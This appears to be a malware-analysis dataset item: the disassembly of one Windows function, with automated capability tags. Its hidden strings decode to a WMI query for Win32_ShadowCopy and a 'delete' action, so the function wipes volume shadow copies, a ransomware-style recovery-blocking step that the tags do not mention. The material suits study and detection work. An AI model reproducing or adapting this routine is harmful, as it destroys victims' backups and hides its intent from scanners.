Function at 0x40c9d7
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0xf8], ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x40ca0c
xor eax, eax
jmp 0x40d054
push ebx
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x40d002
mov esi, dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [ebp - 0x74]
push eax
push 0x401050
push 1
push ebx
push 0x401120
call esi
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x13c], 9
jne 0x40cc3f
lea eax, [ebp - 0x70]
push eax
push 0x401090
push 1
push ebx
push 0x401130
call esi
test eax, eax
js 0x40d002
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 0x100], 0x40
mov edx, ebx
push 3
pop eax
mov word [ebp - 0x108], ax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0xf4], 0x73
mov byte [ebp - 0xf0], 0x2c
mov byte [ebp - 0xef], 0x73
mov byte [ebp - 0xee], 0x2c
mov byte [ebp - 0xed], 0x73
mov byte [ebp - 0xec], 0x23
mov byte [ebp - 0xeb], 0x73
mov byte [ebp - 0xea], 1
mov byte [ebp - 0xe9], 0x73
mov byte [ebp - 0xe8], 0x1c
mov byte [ebp - 0xe7], 0x73
mov byte [ebp - 0xe6], 5
mov byte [ebp - 0xe5], 0x73
mov byte [ebp - 0xe4], 0x1a
mov byte [ebp - 0xe3], 0x73
mov byte [ebp - 0xe2], 0x17
mov byte [ebp - 0xe1], 0x73
mov byte [ebp - 0xe0], 0x16
mov byte [ebp - 0xdf], 0x73
mov byte [ebp - 0xde], 1
mov byte [ebp - 0xdd], 0x73
mov byte [ebp - 0xdc], 0x32
mov byte [ebp - 0xdb], 0x73
mov byte [ebp - 0xda], 1
mov byte [ebp - 0xd9], 0x73
mov byte [ebp - 0xd8], 0x10
mov byte [ebp - 0xd7], 0x73
mov byte [ebp - 0xd6], 0x1b
mov byte [ebp - 0xd5], 0x73
mov esi, dword [eax + 0x20]
mov byte [ebp - 0xd4], 0x1a
mov byte [ebp - 0xd3], 0x73
mov byte [ebp - 0xd2], 7
mov byte [ebp - 0xd1], 0x73
mov byte [ebp - 0xd0], 0x16
mov byte [ebp - 0xcf], 0x73
mov byte [ebp - 0xce], 0x10
mov byte [ebp - 0xcd], 0x73
mov byte [ebp - 0xcc], 7
mov byte [ebp - 0xcb], 0x73
mov byte [ebp - 0xca], 6
mov byte [ebp - 0xc9], 0x73
mov byte [ebp - 0xc8], 1
mov byte [ebp - 0xc7], 0x73
mov byte [ebp - 0xc6], 0x16
mov byte [ebp - 0xc5], 0x73
mov byte [ebp - 0xc4], 0x73
mov al, byte [ebp - 0xf0]
mov byte [ebp - 0xc3], bl
mov al, byte [ebp + edx - 0xf0]
mov ecx, dword [ebp - 0xf4]
xor cl, al
mov byte [ebp + edx - 0xf0], cl
inc edx
cmp edx, 0x2d
jb 0x40cbf2
lea eax, [ebp - 0x108]
mov byte [ebp - 0xc3], bl
push eax
push ebx
lea eax, [ebp - 0xf0]
push eax
push dword [ebp - 0x70]
call esi
mov esi, eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test esi, esi
js 0x40d002
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov byte [ebp - 0x9e], 0x57
mov byte [ebp - 0x9d], 5
mov byte [ebp - 0x9c], 0x54
mov byte [ebp - 0x9b], 5
mov byte [ebp - 0x9a], 0x54
mov ecx, dword [eax + 0xc]
mov byte [ebp - 0x99], 5
mov byte [ebp - 0x98], 0x59
mov byte [ebp - 0x97], 5
mov byte [ebp - 0x96], 0x61
mov byte [ebp - 0x95], 5
mov byte [ebp - 0x94], 0x48
mov byte [ebp - 0x93], 5
mov byte [ebp - 0x92], 0x4e
mov byte [ebp - 0x91], 5
mov byte [ebp - 0x90], 0x52
mov byte [ebp - 0x8f], 5
mov byte [ebp - 0x8e], 0x5b
mov byte [ebp - 0x8d], 5
mov byte [ebp - 0x8c], 0x37
mov byte [ebp - 0x8b], 5
mov byte [ebp - 0x8a], 5
mov byte [ebp - 0x89], bl
mov al, byte [ebp - 0x9e]
mov eax, ebx
sub byte [ebp + eax - 0x9e], 5
inc eax
cmp eax, 0x15
jb 0x40cce8
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x70]
lea eax, [ebp - 0x9e]
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push dword [ebp - 0x74]
call ecx
test eax, eax
js 0x40d002
push ebx
push ebx
push 3
pop eax
push eax
push eax
push ebx
push ebx
push 0xa
push dword [ebp - 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x40d002
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x48], 0x6b
mov esi, dword [eax + 0x50]
mov eax, dword [ebp - 0x48]
xor al, 0x53
mov byte [ebp - 0x44], al
mov eax, dword [ebp - 0x48]
inc al
mov byte [ebp - 0x43], al
mov eax, dword [ebp - 0x48]
add al, 2
xor al, 0x45
mov byte [ebp - 0x42], al
mov eax, dword [ebp - 0x48]
add al, 3
mov byte [ebp - 0x41], al
mov eax, dword [ebp - 0x48]
add al, 4
xor al, 0x4c
mov byte [ebp - 0x40], al
mov eax, dword [ebp - 0x48]
add al, 5
mov byte [ebp - 0x3f], al
mov eax, dword [ebp - 0x48]
add al, 6
xor al, 0x45
mov byte [ebp - 0x3e], al
mov eax, dword [ebp - 0x48]
add al, 7
mov byte [ebp - 0x3d], al
mov eax, dword [ebp - 0x48]
add al, 8
xor al, 0x43
mov byte [ebp - 0x3c], al
mov eax, dword [ebp - 0x48]
add al, 9
mov byte [ebp - 0x3b], al
mov eax, dword [ebp - 0x48]
add al, 0xa
xor al, 0x54
mov byte [ebp - 0x3a], al
mov eax, dword [ebp - 0x48]
add al, 0xb
mov byte [ebp - 0x39], al
mov eax, dword [ebp - 0x48]
add al, 0xc
xor al, 0x20
mov byte [ebp - 0x38], al
mov eax, dword [ebp - 0x48]
add al, 0xd
mov byte [ebp - 0x37], al
mov eax, dword [ebp - 0x48]
add al, 0xe
xor al, 0x2a
mov byte [ebp - 0x36], al
mov eax, dword [ebp - 0x48]
add al, 0xf
mov byte [ebp - 0x35], al
mov eax, dword [ebp - 0x48]
add al, 0x10
xor al, 0x20
mov byte [ebp - 0x34], al
mov eax, dword [ebp - 0x48]
add al, 0x11
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x48]
add al, 0x12
xor al, 0x46
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x48]
add al, 0x13
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x48]
add al, 0x14
xor al, 0x52
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x48]
add al, 0x15
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x48]
add al, 0x16
xor al, 0x4f
mov byte [ebp - 0x2e], al
mov eax, dword [ebp - 0x48]
add al, 0x17
mov byte [ebp - 0x2d], al
mov eax, dword [ebp - 0x48]
add al, 0x18
xor al, 0x4d
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x48]
add al, 0x19
mov byte [ebp - 0x2b], al
mov eax, dword [ebp - 0x48]
add al, 0x1a
xor al, 0x20
mov byte [ebp - 0x2a], al
mov eax, dword [ebp - 0x48]
add al, 0x1b
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x48]
add al, 0x1c
xor al, 0x57
mov byte [ebp - 0x28], al
mov eax, dword [ebp - 0x48]
add al, 0x1d
mov byte [ebp - 0x27], al
mov eax, dword [ebp - 0x48]
add al, 0x1e
xor al, 0x69
mov byte [ebp - 0x26], al
mov eax, dword [ebp - 0x48]
add al, 0x1f
mov byte [ebp - 0x25], al
mov eax, dword [ebp - 0x48]
add al, 0x20
xor al, 0x6e
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x48]
add al, 0x21
mov byte [ebp - 0x23], al
mov eax, dword [ebp - 0x48]
add al, 0x22
xor al, 0x33
mov byte [ebp - 0x22], al
mov eax, dword [ebp - 0x48]
add al, 0x23
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0x48]
add al, 0x24
xor al, 0x32
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x48]
add al, 0x25
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x48]
add al, 0x26
xor al, 0x5f
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x48]
add al, 0x27
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x48]
add al, 0x28
xor al, 0x53
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x48]
add al, 0x29
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x48]
add al, 0x2a
xor al, 0x68
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x48]
add al, 0x2b
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x48]
add al, 0x2c
xor al, 0x61
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x48]
add al, 0x2d
mov edx, ebx
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x48]
add al, 0x2e
xor al, 0x64
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x48]
add al, 0x2f
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x48]
add al, 0x30
xor al, 0x6f
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x48]
add al, 0x31
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x48]
add al, 0x32
xor al, 0x77
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x48]
add al, 0x33
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x48]
add al, 0x34
xor al, 0x43
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x48]
add al, 0x35
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x48]
add al, 0x36
xor al, 0x6f
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x48]
add al, 0x37
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x48]
add al, 0x38
xor al, 0x70
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x48]
add al, 0x39
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x48]
add al, 0x3a
xor al, 0x79
mov byte [ebp - 0xa], al
mov eax, dword [ebp - 0x48]
add al, 0x3b
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x48]
add al, 0x3c
mov byte [ebp - 7], bl
mov byte [ebp - 8], al
mov al, byte [ebp - 0x44]
mov al, byte [ebp + edx - 0x44]
mov ecx, dword [ebp - 0x48]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x44], cl
inc edx
cmp edx, 0x3d
jb 0x40cf6b
mov byte [ebp - 7], bl
mov edx, ebx
mov dword [ebp - 0x54], 0x30
mov eax, dword [ebp - 0x54]
xor al, 0x57
mov byte [ebp - 0x50], al
mov eax, dword [ebp - 0x54]
inc al
mov byte [ebp - 0x4f], al
mov eax, dword [ebp - 0x54]
add al, 2
xor al, 0x51
mov byte [ebp - 0x4e], al
mov eax, dword [ebp - 0x54]
add al, 3
mov byte [ebp - 0x4d], al
mov eax, dword [ebp - 0x54]
add al, 4
xor al, 0x4c
mov byte [ebp - 0x4c], al
mov eax, dword [ebp - 0x54]
add al, 5
mov byte [ebp - 0x4b], al
mov eax, dword [ebp - 0x54]
add al, 6
mov byte [ebp - 0x49], bl
mov byte [ebp - 0x4a], al
mov al, byte [ebp - 0x50]
mov al, byte [ebp + edx - 0x50]
mov ecx, dword [ebp - 0x54]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x50], cl
inc edx
cmp edx, 7
jb 0x40cfce
lea eax, [ebp - 4]
mov byte [ebp - 0x49], bl
push eax
push ebx
push 0x30
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x58]
call esi
test eax, eax
jns 0x40d2ee
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x70]
test edx, edx
je 0x40d015
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x58]
test edx, edx
je 0x40d025
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x74]
test edx, edx
je 0x40d035
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x40d03f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x78]
test eax, eax
je 0x40d04c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
pop esi
pop ebx
leave
ret
mov eax, dword [ecx]
lea edx, [ebp - 0xf8]
push edx
lea edx, [ebp - 0x78]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
test eax, eax
js 0x40d2fb
cmp dword [ebp - 0xf8], ebx
je 0x40d2fb
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x78]
mov edx, ebx
mov eax, dword [eax]
mov dword [ebp - 0x6c], 0x16
mov esi, dword [eax + 0x10]
mov eax, dword [ebp - 0x6c]
xor al, 0x5f
mov byte [ebp - 0x68], al
mov eax, dword [ebp - 0x6c]
inc al
mov byte [ebp - 0x67], al
mov eax, dword [ebp - 0x6c]
add al, 2
xor al, 0x5f
mov byte [ebp - 0x66], al
mov eax, dword [ebp - 0x6c]
add al, 3
mov byte [ebp - 0x65], al
mov eax, dword [ebp - 0x6c]
add al, 4
xor al, 0x50
mov byte [ebp - 0x64], al
mov eax, dword [ebp - 0x6c]
add al, 5
mov byte [ebp - 0x63], al
mov eax, dword [ebp - 0x6c]
add al, 6
xor al, 0x41
mov byte [ebp - 0x62], al
mov eax, dword [ebp - 0x6c]
add al, 7
mov byte [ebp - 0x61], al
mov eax, dword [ebp - 0x6c]
add al, 8
xor al, 0x54
mov byte [ebp - 0x60], al
mov eax, dword [ebp - 0x6c]
add al, 9
mov byte [ebp - 0x5f], al
mov eax, dword [ebp - 0x6c]
add al, 0xa
xor al, 0x48
mov byte [ebp - 0x5e], al
mov eax, dword [ebp - 0x6c]
add al, 0xb
mov byte [ebp - 0x5d], al
mov eax, dword [ebp - 0x6c]
add al, 0xc
mov byte [ebp - 0x5b], bl
mov byte [ebp - 0x5c], al
mov al, byte [ebp - 0x68]
mov al, byte [ebp + edx - 0x68]
mov ecx, dword [ebp - 0x6c]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x68], cl
inc edx
cmp edx, 0xd
jb 0x40d117
push ebx
push ebx
lea eax, [ebp - 0x118]
mov byte [ebp - 0x5b], bl
push eax
push ebx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x78]
call esi
test eax, eax
js 0x40d2e1
mov ecx, dword [ebp - 0x58]
push ebx
push ebx
push ebx
push dword [ebp - 0x110]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x40]
test eax, eax
js 0x40d2e1
mov byte [ebp - 0xbe], 0x54
mov byte [ebp - 0xbd], 1
mov byte [ebp - 0xbc], 0x69
mov byte [ebp - 0xbb], 1
mov byte [ebp - 0xba], 0x62
mov byte [ebp - 0xb9], 1
mov byte [ebp - 0xb8], 0x65
mov byte [ebp - 0xb7], 1
mov byte [ebp - 0xb6], 0x70
mov byte [ebp - 0xb5], 1
mov byte [ebp - 0xb4], 0x78
mov byte [ebp - 0xb3], 1
mov byte [ebp - 0xb2], 0x21
mov byte [ebp - 0xb1], 1
mov byte [ebp - 0xb0], 0x64
mov byte [ebp - 0xaf], 1
mov byte [ebp - 0xae], 0x70
mov byte [ebp - 0xad], 1
mov byte [ebp - 0xac], 0x71
mov byte [ebp - 0xab], 1
mov byte [ebp - 0xaa], 0x7a
mov byte [ebp - 0xa9], 1
mov byte [ebp - 0xa8], 0x3b
mov byte [ebp - 0xa7], 1
mov byte [ebp - 0xa6], 0x21
mov byte [ebp - 0xa5], 1
mov byte [ebp - 0xa4], 0x26
mov byte [ebp - 0xa3], 1
mov byte [ebp - 0xa2], 0x74
mov byte [ebp - 0xa1], 1
mov byte [ebp - 0xa0], 1
mov byte [ebp - 0x9f], bl
mov al, byte [ebp - 0xbe]
mov eax, ebx
dec byte [ebp + eax - 0xbe]
inc eax
cmp eax, 0x1f
jb 0x40d24b
mov byte [ebp - 0x88], 0x66
mov byte [ebp - 0x87], 2
mov byte [ebp - 0x86], 0x67
mov byte [ebp - 0x85], 2
mov byte [ebp - 0x84], 0x6e
mov byte [ebp - 0x83], 2
mov byte [ebp - 0x82], 0x67
mov byte [ebp - 0x81], 2
mov byte [ebp - 0x80], 0x76
mov byte [ebp - 0x7f], 2
mov byte [ebp - 0x7e], 0x67
mov byte [ebp - 0x7d], 2
mov byte [ebp - 0x7c], 0x66
mov byte [ebp - 0x7b], 2
mov byte [ebp - 0x7a], 2
mov byte [ebp - 0x79], bl
mov al, byte [ebp - 0x88]
mov eax, ebx
sub byte [ebp + eax - 0x88], 2
inc eax
cmp eax, 0xf
jb 0x40d2b7
push dword [ebp - 0x110]
lea eax, [ebp - 0xbe]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.0041321e
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x40d058
jmp 0x40d2fe
mov ecx, dword [ebp - 4]
xor ebx, ebx
inc ebx
jmp 0x40d005